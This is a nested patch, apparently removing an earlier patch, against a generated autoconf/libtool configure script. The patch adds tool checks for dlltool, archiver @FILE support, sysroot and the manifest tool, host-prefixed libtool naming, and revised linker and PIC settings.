-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6625,7 +6878,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6645,11 +6898,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6665,7 +6922,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6684,6 +6941,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6695,16 +6956,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -7046,8 +7363,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7083,6 +7400,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7124,6 +7442,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7135,7 +7465,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7161,8 +7491,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7172,8 +7502,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7210,6 +7540,16 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-
-
-
-@@ -7226,6 +7566,45 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7437,6 +7816,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -8000,6 +8496,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8165,7 +8663,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8254,7 +8753,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8552,8 +9051,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8719,6 +9216,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8781,7 +9284,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8838,13 +9341,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8905,6 +9412,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9255,7 +9767,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9354,12 +9867,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9373,8 +9886,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9392,8 +9905,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9439,8 +9952,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9570,7 +10083,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9583,22 +10102,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9610,7 +10136,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9623,22 +10155,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
